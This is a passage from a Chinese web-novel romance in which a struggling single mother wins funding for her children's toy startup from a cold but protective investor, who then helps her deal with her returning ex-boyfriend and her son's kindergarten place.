《崽撞脸投资大佬了怎么装》
1. Chapter 1
第1章秋十月底
京市十月底的风像是藏了冰。
下午五点,天快黑了,北四环创业园主楼的楼道内,林无可拢了拢围巾,将孩子抱得更紧了些,掌心隔着薄绒感受到他小小身子的体温。
林无可刚结束一场创业项目的路演。
林无可大学毕业后,就开启了带娃创业两不误的铁人模式,这个新项目“初心盒”打磨了一年多了。
至于团队,她有一个合伙人,手下本来三个员工,前段时间因为资金不足,跑路了一个。不过嘛,她相信只要融资到位,就不缺人!
此刻,她右手拖着一个快倒掉的展板拿去还。
板子边缘已经磨损,轻轻蹭着水泥地面,发出沙沙声。
林无可左肩还扛着包,包里露出了画纸的一角,一抹明亮的蓝色。腋下压着一本商业计划手册和一只萌萌的邦尼兔。
三岁的小糯糯在她怀里睡着了,嘴巴微张呼吸均匀,温热的小脑袋靠着她肩膀,发丝软软地贴着她的脸,带来细微的痒意。
“妈妈,我们要回家了吗?”他动了动,迷迷糊糊地问,嗓音带着棉花糖一样的软糯。
“嗯,路演结束了。”林无可压住疲惫,语气里带着搞定一切的轻松,“讲得不错。马上班师回朝!”
今天是她这个月第四次参加创业项目路演,前三次连一页材料都没人翻。
第四次是这次,她排在下午五点半最后一个,糯糯放学早,没人带,她接了糯糯过来讲的。
父亲去世,林母早就再婚,家人几乎没有帮过她。
糯糯的爸爸,她的前男友,又早就成了过去式。
她今天被排到坐在北边冷风口,天然空调,免费畅享,一丝暖气都没得。等了一个多小时轮到她。
她刚刚讲到一半,主评人陆璟栋接了个电话走了,可能有一个亿的大生意吧,留她一个人对着空荡荡的椅子把愿景讲完。
她的PPT最后一页写着:“初心盲盒,一起打开那个属于你们的世界。每道光,都会被看见。”
说这句话的时候,她抬眼,清楚地看到后排有人笑了。那笑声很轻,像一根玫瑰刺一样扎人,但林无可不在意,依然自信飞扬。
她的亲子盲盒项目叫初心盒,是一个按照不同年龄打包适合的玩具的项目。
资本市场不做慈善,她项目收入模型是长期线,她在投资圈也没什么人脉。
但她相信自己可以创造奇迹!
林无可放下糯糯,把商业计划书重新装进包里,动作有些僵硬,而后抱起孩子,扛起展板准备走,脚刚动,忽然有个西装男人从楼上快步下来,步履生风,皮鞋叩击地面的声音急促而有力,差点撞到她。
她下意识侧身,动作带着本能,先护住了怀里的小宝贝,结果展板一个没拿稳,“哐当”一声砸在地上。
“啊呀,不好意思!”她弯腰去捡板子,抱着糯糯,动作一下子失了重心。
男人伸手扶她,手握住她手臂,带着恰到好处的力量。
林无可抬眸,瞬间眼前一亮。是他!
冷俊,眼神锐利,像极了她这几个月反复查过的一张照片。照片是平面的,眼前的真人却带着一种鲜活的压迫感。不,是气场!
陆璟栋,陆氏集团CEO,这次创业孵化器路演的超级金主爸爸,京圈投资界的传说。
她脑袋“嗡”一下,CPU差点烧了,一时忘了言语。
“你就是林无可?”他问。
声音不高,却穿透耳膜。像投入心湖的一颗石子,在她心底激起涟漪。
她还在神游,他已经绅士地收回手,往旁边站了点,动作带着恰到好处的疏离。
楼上传来助理的声音:“陆总,她就是初心盒项目负责人。”
那声音在空旷的楼道里回荡。
林无可这个创业项目虽然已经上线有了销售业绩,但她此刻面对这尊大神,还是声音有点小:“陆总您好,您刚才没听完……”
“这是你宝宝?”他忽然问,眼神落在她怀里睡着的糯糯上,目光带了几分惊讶。
“是。”她用力点头,我的宝贝糯糯超可爱又聪明。
陆璟栋看着糯糯,足足注视了一分钟。
而后,他看向林无可,没有任何表情,他的眼睛让人看不透。
“陆总,能不能给我一分钟介绍下我的产品?我的盲盒只要铺开销售渠道,绝对是爆款预定。”林无可语速飞快,机会要自己争取!
“那我能得到什么?”他的嗓音低沉。
“70%的毛利率!五年内回本,之后每年15%的利润分红,妥妥的!”她报出一串诱人数字。
“你怎么做到?”他的目光在她脸上流连,带着点的挑剔,又有点难以言明的玩味。
“只要您点头,我什么都肯做。”她长相本就明艳动人,此时带着带着孤注一掷的诱惑。
“什么都肯做?”他尾音微微上扬。
这句话落下,空气仿佛微微凝滞了,暧昧的火花噼里啪啦。
林无可意识到自己这句话,有点像是某种特殊邀请,但她没有收回,反而仰头,眼波流转间,带着置之死地而后生的决绝和一抹狡黠:“对。”
几秒后,他说:“你这个项目,能养活你们两个?”
林无可手指握紧,腰杆挺得笔直,像一株迎风招展的小白杨:“现在是初创期,资金到位,渠道铺开,绝对让它变成我们的金饭碗!”
陆璟栋没说话,薄唇微抿,眼神掠过她包里露出的一角歪歪扭扭却充满童趣的手绘画。画纸上面画着小房子、小太阳,还有个大人和小孩,笔触稚拙,却透着勃勃的生机。他长睫微微一颤。
见他没接话,她心里小小“咯噔”一下,以为大佬要拂袖而去了。
可他忽然说:“PPT我之前看过了。最后一页,愿景是你自己想的?”
他嗓音稍缓,像冰雪初融,话也转了个弯,在解释自己刚刚虽然离场,但看了她的PPT。
林无可眼睛一亮,点头:“是我写的。”
她在后面加了一句,希望每一道光,都被人看见。其实是在说自己的项目。
“愿景不值钱,五年收回成本也太慢了。”他语气淡淡,却像一把锋锐的手术刀刀,直指核心。
她心口发紧,心脏像是被什么捏住了一样,呼吸都跟着滞了滞。
完了完了,创业小火苗要被大佬无情掐灭了?
他可是手握多家公司的投资大佬啊。
“但——”他眼尾轻挑,凑过来,嗓音压得极低,温热的气息若有似无地拂过她的耳廓,像湖面掠过的微风,“你这个人,可以投。”
林无可眨眨眼,看着他近在咫尺的眼眸,脑子里一片空白。他说的人,她理解的那个意思吗?!
“回去起草初轮投资协议,初心盒项目。三个月观察期,资金先行。所有流程,务必高效。”陆璟栋侧头对助理吩咐,每一个字都落地有声,不容置疑。
资金先行!这四个字的分量,重逾千钧!这意味着她不必再为了启动资金而四处碰壁、受尽冷眼!可以大胆往前冲了!
林无可激动得想原地转个圈圈,喉咙却像是被巨大的喜悦和激动堵住。那块长久以来沉甸甸压在她心口,让她夜夜无法安眠的资金缺口的巨石,在这一刻,仿佛被轰然击碎,化为齑粉!
她的“初心盒”项目,就像一条在烈日下曝晒了一个夏天,濒临死亡的的鱼,突然被一只强有力的手捞起,抛回了海水中!
临走前,他步子一缓,停顿得很短暂,似是随口一句话,却清晰落入她耳里:“别感谢我,是你的宝宝的画打动了我。”
话尾,他薄唇一勾,像笑非笑:“他画的非常棒。”
一句话如阳光直直照进了林无可心中最不设防的角落。
比那份巨额投资本身,陆璟栋对糯糯的夸奖,甜过夏日甜提。
他说完,就带着一阵香风离开了。木质香混了点果香,很清冽。
陆璟栋的助理徐助让林无可稍等下,然后走回了会场,对着主办方就是一顿输出:“明天上午的路演先停了,这会场靠北边漏风,太冷了,赶紧修修。”
之前给林无可安排北边天然风口VIP座的那位负责人,闻言冷汗都下来了,连连道歉。
不一会儿,会场那头主持人改了路演计划:“临时通知,明天上午场路演取消,场地北边需要维修,全部移到下午,时间20分钟每个人,缩短到10分钟。”
林无可微微一愣,她可没抱怨冷呀,不过他刚才好像是不小心碰了下她的手?
算了算了,不想那么多了!大佬的心思你别猜!
再说,评委嘉宾进场不也得路过那“风水宝地”嘛,冷不冷,他们心里有数!
“妈妈,我刚刚是不是听见有人说,投啦?”糯糯揉着眼睛问,小奶音萌化了。
林无可低头,看着那双澄澈见底的大眼睛,笑得眉眼弯弯。
她说:“嗯。糯糯画的小房子,被这个帅叔叔看见了,所以我们有戏咯!”
处理完通风口的小插曲,陆璟栋的助理徐助回来了,给她留了个联系方式以便后续沟通。
“妈妈,刚刚的叔叔是你朋友吗?”
“现在还不是,以后嘛,宝宝,你猜
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?”
她抱着崽,从产业园回家。风还是那个风,但怎么就那么舒爽呢?吃过晚饭,她听见手机“叮”了一下,徐助理的短信跳出来:
【明天九点,来签协议。别放鸽子。】
短信的每一个字都跳动着。
林无可把签协议的喜讯发到了工作群里,顿时炸开了。
下面一排齐刷刷的,老板威武V587。
员工1:林总,我好崇拜你啊,请收下我的膝盖~#附带闪闪发光下跪表情#
员工2:请接受我最诚挚的爱,膜拜大佬!
林无可豪气地发了个大红包,顺便@所有人:“无关人等,自行退散哈!”
之前有个员工离职了,还没退群。
那人还没回过神,赵珊手速飞快,就把那人踢出去了。
她加了陆璟栋的助理后,真格初心盒战略大计小组,把她拉了进去,林无可一看陆璟栋也在里面。
徐助理:欢迎林总!撒花~
林无可赶紧把合伙人和员工也拉了进来,紧接着,屏幕就被一片红包雨轰炸!
哇塞,陆璟栋发的!大佬就是大佬,出手阔绰!
这时,林母的消息不合时宜地弹了出来:听说你今天带糯糯去抛头露面了?早点跟裴尧复合多好。看人家创业当老板,你也想?异想天开!
林无可手指翻飞:我创业跟裴尧有半毛钱关系?而且,我今天已经拿到融资了,谢谢!
母亲的电话很快打了过来,她语气里全是,不可能,这不可能!
林无可云淡风轻地解释两句,果断挂了电话。心情这么好,不跟凡人计较!
第2章秋
签协议那天,秋高气爽,风儿都带着喜庆的调调!
真格基金办公大楼入口外,秋风卷着金黄的落叶跳着华尔兹,轻轻拂过脸颊,带来轻柔的触感。
林无可穿了一件米色的针织长裙,外面罩着米色风衣,柔软的头发用一枚精致的发卡别在耳后,一手牵着穿着时尚的糯糯的小手,一手拿着资料袋,里面是厚重的文件。
她的鞋跟踩在光洁如镜的大理石地面上,发出“嗒嗒”的清脆响声,每一步都像踩在成功的鼓点上,那修长的身姿,简直是人群中最靓的崽!
会议室内,陆璟栋准时出现了。
她原本以为陆璟栋那种级别的人,事务繁忙,不会来亲自签一个初轮小项目,这样微小的投资额,在他庞大的商业版图里或许不值一提。但他却准时出现,身着剪裁利落的深色西装,肩线挺括,没有任何褶皱,禁欲系男神范儿十足!
他神情冷静自持,没有任何情绪外露,手腕上的腕表闪着冷冷的光泽。那光泽,像是遥远星辰投下的一束光,只可远观,不可亵玩焉。
“第一次签融资协议?”他问,声线低沉,听不出是探究还是其他。他的目光在她手中的文件夹上停留了一瞬。
林无可小脑袋瓜转了转,对上他的视线。那双眼睛深邃迷人,带着点恰到好处的审视,像能洞察一切,却又懒得戳破你的小紧张。被他这么一看,林无可感觉自己那点小雀跃都快藏不住了。
她笑了笑,绽开一个大大的笑容:“是啊,这笔融资真的对我很重要。您对我来说,简直是久旱逢甘霖!”
他语气松弛,往前走了几步,坐下,两人之间的距离一下缩短了:“那你现在拿到了,应该对你的经济状况有所缓解。”
林无可猛点头,何止缓解,简直是解放了!房租、幼儿园学费、柴米油盐,以前哪一笔不得精打细算。现在,她终于可以稍微任性一点点了。那些生病带娃两人都发烧、累到睁不开眼全靠本能硬撑的夜晚,仿佛也没那么难熬了。
会议室窗户开着,风从缝里灌进来,吹得纸张哗哗响,带着外面的微寒和城市遥远的喧嚣。但室内暖气给得足足的,空气干燥又温暖,舒服得让人想眯眼。
陆璟栋就坐在她斜对面,不远不近的距离,透着一种掌控全局的从容。他不催促,修长的手指随意地搭在桌面上,慵懒中带着一丝漫不经心的帅气。
她咬着笔帽,仔仔细细看完最后一页,抬头,眼神亮晶晶:“我看完了。”
“那么,可以签了?”他问,声音依旧平稳。
“等等,”她指着最后两页,“这份补充协议是什么情况?让我给您当兼职助理?”
“我说过,五年回本,太慢了。”他指尖在桌面轻轻一敲,像在打着什么愉快的节拍。
“我的职责还包括,陪你出席一些场合?”她眨眨眼,这是什么神展开?
“没错。”他好整以暇地注视着她,像优雅的猎豹锁定了目标猎物。
2. Chapter 2
小糯糯蹲在她旁边玩玩具车,抬起仰着头奶声奶气:“妈妈签的是结婚协议吗?”
稚嫩的声音打破了房间里的安静,引得两人同时看向他。林无可嘴角抽了一下,脸上闪过一丝尴尬。糯糯不知道从哪听说这些的,这样突如其来的童言,让她一时间不知道如何作答:“不是哦宝宝。”
陆璟栋垂眸,眼底掠过一丝笑意,唇角很浅地一勾,像被什么无意中撩动了心底的平静:“他挺聪明。上学了吗?”
“就家门口的幼儿园,平时话多得我头疼。”她试图缓解这份突如其来的尴尬。糯糯上的是普通幼儿园,不像很多有钱人上的国际幼儿园或者是重点幼儿园。
“话多说明有安全感。”他淡声道,目光依似乎多了一丝柔和。
林无可忽然愣了一下。手里的笔悬在签名页上空,没有落下。
她很少听人这么说。家里人总爱说小糯糯太吵、管不住、没规矩,语气里是显而易见的嫌弃。但他没有,他甚至像是在肯定孩子的表达和存在。
她心口有点发酸,那股酸涩感突然涌上来,堵在胸口,让她几乎没办法呼吸。不敢多想,她低头写名字。
字写得有点抖,握笔的手指尖不受控制地轻颤。
而后,她连忙去把玩具车收进包里,借着这个动作掩饰自己心底的波动:“我签好了,糯糯,我们准备走吧。”
“我们法务回头会给你公司盖章的合同。”男人说。
等她签完协议,从会议室出来,小糯糯已经玩得有些饿了。
正准备带孩子去旁边买点吃的,就听见有人在喊她的名字。
“无可?”
她心脏顿了一拍,身体瞬间绷紧。回头看去,是裴尧,她的前男友。那个她以为早已从生命中彻底划去的人。
她本科的时候就和裴尧在一起了,大四怀孕,在犹豫和挣扎后把孩子生了下来,但两人从未进入婚姻,并没有婚姻关系。而且,他们的关系在孩子出生前就已经结束,留下孩子完全是她自个儿的决定。
裴尧家境不错,在科技行业创业比林无可先拿到融资,此时一副精英男装束,头发抓得一丝不乱,手里拿着手机,脚边站着一个穿白裙的女人。那个女人依偎在他身边,妆容精致,脸上带着公式化的微笑。
林无可觉得自己胸口像被灌了冷空气进去,那股寒意从胸腔迅速蔓延到四肢,让她感到一阵僵硬。
林无可下意识地侧过身,把糯糯拉到身后,用身体将他完全护住。
“你喊我干嘛?”她语气警惕。
“就喊一句,别紧张。我朋友在这附近上班,我来接她的。”裴尧的目光在她和陆璟栋之间快速扫视,带着一种不加掩饰的探究。又看回她和糯糯,“你呢?在这边上班?还是来应聘?”
他的语气带着一种令人厌烦的审视和不屑。
林无可不想多说,他的存在可不能扰乱自己的生活:“关你什么事。”
“别那么敏感,我知道你没工作。”他拉长语调,笑得虚伪,“还是一个人带着孩子?”
他的目光再次落在糯糯身上,带着暗搓搓的嫌弃。
林无可懒得理他,正要拉着糯糯离开,避开这令人不快的狗男人,身旁的陆璟栋却忽然开口:“我不是在这么。”
陆璟栋的语气很淡,却透着股让人后退的压迫感。他没有咄咄逼人,但字句里蕴含着不容置疑的语气。
裴尧愣住。脸上的虚伪笑容瞬间消失,取而代之的是错愕。
他显然没想到一个气场强大、无法忽视的男人会为她出头。
“林无可,你俩认识?”他没有看裴尧,而是侧过脸低头看了林无可一眼,确认般的,而后转向裴尧,声音一如既往平静,“你是?”
林无可整个人都愣住了,站在原地,心跳加速。陆璟栋是要帮她出头?
裴尧半张着嘴,似乎被陆璟栋的气势压住了:“我、我是她朋友。”
“朋友这么问小孩的事,合适吗?”他声线依旧稳,尾音微带钝感,不显锋利,却逼人后退,每一句话都像是精确的打压,让裴尧无处可躲,“还是说,你对别人的家务事,这么感兴趣,没有边界感吗?”
林无可清晰地感觉到,自己一直紧绷的神经,在这一刻奇迹般地松弛了下来。她看着裴尧的脸色涨红到煞白,最后变得灰败不堪。
那些被裴尧的自以为是所带来的烦躁,那些她为了避免麻烦而强行忍耐下去的怒火,在这一刻,都释放了。
“我先走了。”裴尧像斗败的公鸡灰溜溜溜走了,要知道之前他看她可都是赤裸裸的威胁眼神。
“好走不走。我可不是没工作,是创业。”林无可追了一句。
“拿不到投资,我看你是贷款创业吧。”裴尧回头说了一句。
“真格基金投了她。”陆璟栋转过身,接过她手里的资料袋,“风大,给我吧。”
裴尧表情顿时就变了,真格基金可是大基金,他之前拉投资,人家还没看上。再仔细看了看陆璟栋,嘴巴张成O字形:“你是真格基金的老板?”
“废话!他不是难道你是?”林无可斜了他一眼。
裴尧面色顿时白了,脑子嗡嗡响。她身边的女人看出林无可和陆璟栋不好惹,赶紧拉着裴尧走了。
林无可想到了之前裴尧创业拿到投资后,在他自己的自媒体号上,自吹自擂,林母多次在她耳边嘀咕。
如今,她也拿到了投资,她就不信自己赢不了裴尧。
林无可想到刚才的交锋,陆璟栋那句平静却分量十足的“我不是在这么”,定了定神,轻声道:“刚刚……谢谢你了。”
“他看起来不安好心。”他平静回答,解释了自己刚刚的做法,“你不想撕破脸,我帮你说。”
林无可心头一暖,被人这样直接出手维护的感觉,陌生却又带着一种踏实。她瞬间觉得之前受的那些鸟气都烟消云散了。
“我会好好工作的。”她深吸一口气,这句话像是承诺,也像是给自己打气。
“我倒也没说什么,是他误会了我们的关系。”他唇角勾起,这次的笑意明显了几分,停了一下,目光落在她身上,又说,“你要是同意,我下次可以说我们是合伙人。”
“合伙人?”林无可下意识地问,猛地抬头看他。这三个字从他口中说出,分量似乎有点重。他可是京圈投资大佬,投了很多知名企业,包括互联网独角兽。
他低头对上她的视线,目光又若有似无地扫过她下意识牵紧糯糯的手,声音放轻了些:“不然呢?”
“一家人。”糯糯笑眯眯地说,拉着妈妈的手晃了晃,“我妈妈这么漂亮,还不做一家人嘛?”
“糯糯,别乱说。”她轻轻拍了一下糯糯的屁股。
“没事,小孩子。”他的目光从糯糯身上扫过,带着宽容。
她抱起了糯糯,没有再开口。只是紧紧地抱着怀里的孩子,感受着他带来的温度。
出
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了大楼,她感觉自己累得脚底都软了,每一步都沉重得像是灌了铅,但手心却微微出汗,她简直不太敢相信自己拿到了融资。尽管,那个融资还跟着一些她私人的义务职责,但总归是拿到了。
后面,她再见招拆招。
小糯糯歪在她怀里问:“妈妈,这个叔叔,我们以后可以一起吃饭吗?”
她一愣,停下了脚步。
糯糯的话很天真,不掺杂任何世俗的考量。
“可能吧。”她没有打破糯糯单纯的想法,轻声回答,“要是他不嫌我们吵。”
林无可轻轻抱紧怀里的孩子。
风吹动她的长卷发,孩子的体温从衣服传过来,带着令人安心的暖意。糯糯像一个移动的小火炉,她忽然没那么冷了。
第3章秋
陆璟栋一直把她送到了门口。
“你儿子几岁?”他说的时候,语气很平,像在询问一个与他无关的数据。
陆璟栋随口一问,可她心跳却忽然慢了一拍,像是被什么轻轻按住了心脏。
“快四岁。”她说,低头准备把小糯糯的小书包拉链拉好,指尖拉扯着冰凉的金属,又轻声补了一句,“三岁半多一点。”
陆璟栋点了点头,看不出什么情绪,眼神平静无波。
但接下来的一句话,像秋日的雨滴,不动声色地轻轻落入水面,在她心底激起微澜:“你一个人照顾他?”
林无可手一顿,拉链卡了一下。她低头用指甲拨了拨,小小的动作掩饰着心底的情绪,没立刻回答。
林无可轻声说:“家里也帮忙,但主要是我。”
“孩子爸爸呢?”
“不在了。”她想到了裴尧,刚刚出现的那个男人,就是糯糯的爸爸,但他曾经消失的彻底,这会儿出现她也当他不存在。
“抱歉,他去世了?”
“不是死了的那种不在”,她停了停,语气很淡,像在说一件与自己无关的、早已过去的事情,“是那种你怀孕他就走人,之后连个电话都没打的不在。”
陆璟栋没说话。只是静静地看着她,像在消化她的话。
她也没看他,目光落在糯糯手上的玩具车上。这时候糯糯手里的玩具掉到了地上,发出轻微的声响。
他弯腰捡起,干脆利落地递给她。他的动作自然而流畅。
他指尖带着一点凉意,触碰到她微热的手指,问:“你自己决定生下来的?”
林无可点了点头,垂下眼眸:“他根本不想管。我想过打掉,但不知道怎么的,就有点想看孩子长什么样,想知道那个只存在于我身体里的小生命,究竟是什么模样。”
“你挺大胆的。”
“是啊。”她笑了笑,“我那时候连个正经工作都没有,好在现在有了你的投资。”
她说得轻描淡写,像在讲别人的故事,仿佛那些艰难都与她无关。陆璟栋却没跟着笑,眼神很沉,像是笼罩了一层阴影。
“现在每天怎么安排?”他问,语气重新恢复了平稳。
“早上五点起床,做饭,送去幼儿园,然后跑项目、开会,处理公司大大小小的事情,晚上再接回来。”她说,“有时候孩子闹情绪,只能晚上等他睡了再干活,经常忙到深夜。”
“他上的是重点幼儿园吗?”
“不是,那家人手不够,空间也小,条件很普通。”她说得很平静,没有抱怨,“但我没得选。”
“我帮你找新的。”
3. Chapter 3
“啊?”林无可抬头看着他,满是震惊,“你投资我的项目,还负责管糯糯的幼儿园?”
重点幼儿园,那可是相当难搞定的。
林无可之前也试图帮糯糯拿到重点幼儿园的学位,但根本不现实。爸爸去世后,妈妈和继父住在家里的老房子里,林无可的户口反倒是因为上大学迁出来后就没法回去,而且她也不想回去。
她自己在外面租了一室一厅,地段一般,结果,糯糯能上的幼儿园,比她自己小时候还差。京市幼升小就开始卷起来。她从小在京市长大,很多朋友的孩子都上的国际学校,她也没有钱送糯糯去。
她曾经想过创业成功后,送糯糯去国际学校,但现在看来为时尚早,她虽然拿到了投资,但远不够国际学校动辄一年二三十万的学费。
“我要是投资你,就得保证你能集中精力做项目。”他慢条斯理地说,“如果你在孩子教育上还要花时间,时间被挤成碎片,项目不会成功。”
“我现在确实要花不少时间,教他东西。”林无可张着嘴,“你怎么知道的?”
陆璟栋看着她:“是吧?我有朋友也有孩子,我知道他们的需求。我帮你找,是为了你安心工作,你别多想。”
他幽暗的眼神,带着一种侵略性的吸引力,莫名让人心里发热。
“那就多谢你了。”林无可垂下眼睛。
她没拒绝,但她明白,一个投资人会为项目做到什么地步。
亲自过问她孩子的学位,这根本不是什么商业逻辑,分明是越界的关心。
她想到了那份合同的补充协议指尖不自觉地收紧。
两人之间的心照不宣,像一张无形的网,将她悄然笼罩。
“回头我让助理联系你。”
—
第二天下午,林无可抱着小糯糯坐在公园长椅上。
阳光透过树叶缝隙,撒了下来,忽明忽暗。
今天天气不错,家里开了暖气,倒是不冷,出来公园,气温虽然有些凉,但在阳光下也感觉舒适。
她接到他助理打来的电话:“林总,我给你发了邮件,我列了一份适龄重点幼儿园清单,还列了学费、课程安排、师资配比等详细信息。您注意查收啊。”
林无可一愣,没想到他叫她林总,还有些不习惯。因为公司人少,平常大家就叫她无可了。
她挂了电话,打开邮件,手指在屏幕上轻轻滑动,屏幕上的文字详细列着幼儿园信息。
小糯糯正在吃酸奶,小心地舔掉边上粉红色的酸奶:“妈妈,陆叔叔他是不是想当我爸爸呀?他都开始帮你管我了呀。”
林无可听言,噎了一下,拿纸巾给他擦嘴:“赶紧吃完,妈妈带你玩你的小车,小孩子管那么多干嘛。那是客气,我们有项目上的合作呀。”
糯糯理直气壮,眼睛亮晶晶地,看着她:“他帮我找幼儿园,之前妈妈你不是带我去重点幼儿园报名,被拒绝了吗?”
“糯糯你想去重点吗?”她看着糯糯,心中一片柔软。
“那当然,那个幼儿园户外空间大很多,可好玩了。不过,没去也没关系的。”糯糯舔了舔嘴角的奶油,认真地说,“我喜欢陆叔叔,人怪不错的。”
林无可没再说话,看着手机里的那份幼儿园清单,他帮糯糯找学位,一下子就赢得了糯糯的喜欢,真让人头疼啊。
糯糯这点评,跟小大人般,真的太让人又好笑又无奈了呀。
她之前确实带糯糯去过可以跨区的幼儿园,不过名额早就没了。
第4章秋
天气比前几天可要暖和多了。
糯糯吃完蛋糕后,林无可收了手机,带小糯糯去附近的商业街玩滑板车。
小糯糯穿着一身蓝色的运动服,像只快乐的小兔子,踩着滑板车,在人群中灵活地左拐右拐,时不时发出一连串笑声,一路喊着:“我要来抢手机咯,妈妈快逃!”
秋日的天空澄澈无比,淡金色的阳光,透过高楼大厦,在地面投下斑驳的光影,也落在糯糯身上。
林无可唇边噙着一抹温柔的笑意,目光柔和,紧紧跟在后头。
追了糯糯一段,林无可口袋里的手机突然响了,屏幕上滚动的是一串陌生号码。
接通电话,对面是裴尧的声音,语气熟稔,仿佛他们是从未分手的恋人,从未有过隔阂:“无可,是我,裴尧。”
林无可握着手机的手下意识收紧,脸上方才因孩子而染上的笑容,一点点褪掉,眼底掠过一丝冷意。
“烦不烦啊,你怎么阴魂不散的?”她声音带着几分恼怒。
她早就拉黑了裴尧,这么多年没联系,不知道怎么突然又蹦出来,缠着她。
“我听说你最近挺辛苦,创业还要带孩子。前儿看到你都憔悴了。”他轻笑一声,语气里带着几分打探和嘲讽,“你以前多怕麻烦多娇气啊,现在倒是成称职妈妈了。”
林无可没回答,眼神依旧牢牢锁着小糯糯的方向,生怕他磕着碰着。
她看着糯糯在不远处的花坛边停下,与另一个孩子凑在一起,快步走过去。
“我想看看孩子,如果有机会,让孩子跟我住一段时间。”裴尧开门见山,“毕竟我也有一半血缘。”
林无可简直被气笑了,真是人至贱则无敌,她摩挲着手机冰凉的边缘:“你想得起来他有你一半血缘,是现在忽然良心发现?”
“这怨谁呢?我从来没说过想要孩子。是你自己当初非要留。现在怪我?”裴尧语气开始带点不耐烦,像是被她的话刺痛了某处不愿触碰的神经,“亏我前几天还托朋友问了金色码头国际幼儿园。”
林无可冷笑了一声:“什么国际幼儿园?糯糯不需要。我从头到尾没指望过你。”
当初,她决定生下糯糯,没有一个人支持她。
“糯糯现在上的那个幼儿园,全区垫底,你怎么知道他不需要国际幼儿园?你是没钱。我原以为你可以让糯糯跟爷爷的房子上学,谁知道你跟你妈犟脾气,苦了糯糯。”
“那也不用你管。”
裴尧换了个口气,带着一种施舍般的漫不经心:“我看你能穷清高到什么时候?行吧行吧。孩子既然你非要自己养,我也不和你争。你要是缺钱,我可以给点补贴到孩子十八岁。”
“不差你那点三瓜两枣的。”
“三瓜两枣?抚养费我打算按京市标准的1.5倍,打给你妈,之前的也补齐给你。咱们也没登记结婚,你不至于我还要养你吧?”
林无可手指攥紧,指节因用力而微微发白,手背上淡青色的血管愈发清晰可见。
“闭嘴。我说了不需要你给抚养费。糯糯的学区我会解决。”她咬牙,声音里压抑着怒火,“至于见糯糯?做你的清秋大梦去吧。他从出生到现在,从没靠过你一天。但你最好记清楚,你是怎么离开的。”
她说完挂了电话,屏幕暗下去,倒映出她有些苍白的脸。手指还在抖。秋日的阳光明明依旧和煦,她却觉得有些刺眼,连带着心口也有些发闷。
不远处,小糯糯正和一个穿着红色小外套的小朋友比拼谁滑得快,稚嫩的笑声一声高过一声,在喧闹的商业街上回荡。
她的脸色已经在不知不觉中,如同被秋霜打过的叶子般。
她刚想把手机揣进包里,背后忽然有人低声开口。
“是他?”那声音低沉好听。
林无可像是受惊的小鹿般吓了一跳,猛地回头,看到陆璟栋站在半米外,也不知是什么时候出现的。
陆璟栋穿着一件深灰色的薄款风衣,身形挺拔,神色沉静。
手里还稳稳地托着两杯馥芮白,咖啡浓郁的香气混合着奶香,若有若无地飘散过来。
她张了张嘴,脸上的疲惫,还未来得及伪装好:“你怎么在这儿?”
“刚好路过。”他把其中一杯馥芮白递过来,目光在她脸上短暂停留,声音平静温和,像午后的阳光,带着一丝恰到好处的暖意,“你脸色好差,本来带给朋友的,给你了。”
“那你朋友怎么办?”
“没事,季乘是我发小,你在创业园也见过的。”
她接过,杯壁的温热透过指尖传来,让她微颤的手指有了一丝暖意。
低头喝了一口,馥芮白的暖意混着奶泡的细腻,缓缓淌进喉咙,驱散了心底的寒意,可她的手指依旧微颤。
陆璟栋只静静看着她,目光专注,并没有追问,也没有流露出明显的探究,只是安静地等待着她的回答,给予她足够的空间去平复情绪。
过了会儿她才开口,声音有些干涩:“他想见糯糯。”
“你打算同意?”
“我当然不同意。”她笑容里带着无奈,像迷失在浓雾中的旅人,“但不知道怎么让他别再缠着我们。”
裴尧像是缠上了她,估计还会去找她母亲。
想到林母和继父,还有那一帮亲戚,她就有些头疼。这些人不知道从哪里听说裴尧在创业,公司规模还不小,都希望她和裴尧在一起。
“要我帮忙吗?”他目光在她脸上落了一瞬,那眼神深邃,仿佛能洞察一切。而后,他的目光又收回去,眸色沉静。
林无可怔住:“你怎么帮忙?”
陆璟栋从黑色的羊绒大衣口袋里掏出手机,修长的手指在屏幕上轻点了几下,低声吩咐助理:“查一下林无可孩子父亲的资料,包括名下资产、工作记录、是否存在不履行抚养义务的行为。”
“我不想麻烦你。”她下意识想阻止。
“如果他出现,是来抢孩子,却不想补偿。”他语气如同磐石般坚定,字字掷地有声,“那他就不配出现。”
他侧头看向她,眼神像秋日的寒星划过夜空,带着光芒:“不是谁说他是‘爸爸’,就有资格。”
“你说得对。”林无可张着嘴,有点哽住。喉咙像是被什么东西堵住了,眼睛酸涩的感觉迅速蔓延开来,眼眶有些发烫。
她忽然想到了在她十几岁的时候就去世的父亲。她幻想过,会有人站在她这边,没有条件。但没想到,这个人
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是陆璟栋。他本可以袖手旁观,如同这商业街上来来往往的陌生人一般,对她的困境视而不见,却一次次站在她这边,成为后盾。
小糯糯那头,滑板车不小心卡在青砖缝隙里,有些着急地回过头喊她:“妈妈!我的滑板车卡住了,来帮我一下!”
她应了一声,深吸一口气,努力压下心头翻涌的情绪,走过去帮他扶正车头。
“陆叔叔来啦?”糯糯奶声奶气问,仰着的小脸上,镶嵌着紫葡萄一样的大眼睛,带着小朋友特有的好奇。
林无可声音尽量保持着平静:“嗯,他路过。”
“叔叔你穿黑色衣服,很像昨晚动画片里的黑暗骑士。”小糯糯夸奖道,一双乌溜溜的眼睛闪烁着纯真光芒,仿佛真的看到了守护正义的英雄。
陆璟栋低头看他,小孩眼睛亮晶晶的,像天快黑时那种城市里最后一点光,纯粹,不含任何的杂质。
“糯糯嘴真甜啊,叔叔只保护你,可以吗?”他眼神柔了几分,唇角勾起,笑容浅淡。
“那还得保护我妈妈。”糯糯说。
林无可笑了一下,心中的郁结仿佛也消散了些:“陆总,咖啡的钱怎么给你?”
“不用了,”他微微摇头,目光转向她,依然是一种不近人情的淡漠感,“对了,过几天我陪你去幼儿园先看看地方。”
“你要陪我去看?”她有些意外,抬眸看向他,眼神里带着询问。
“自然的。”他应了一声,语气自然得仿佛这只是一件再寻常不过的小事,不带任何刻意的成分,“我不只是把名单给你,还得送佛送到西,帮你搞定学位。”
第5章秋
秋日的天空格外高远,阳光透过鳞片状的云层,带着一丝清朗的暖意,洒在幼儿园彩色的外墙上。
门口公告栏贴着一张略有些陈旧的告示,纸张边缘因为淋雨已有些微微泛黄,上面写着:今年秋季的插班名额已满,请勿临时申请。这是一行鲜红加粗的宋体字,像一道牢固的屏障,将所有希望都拒之门外。
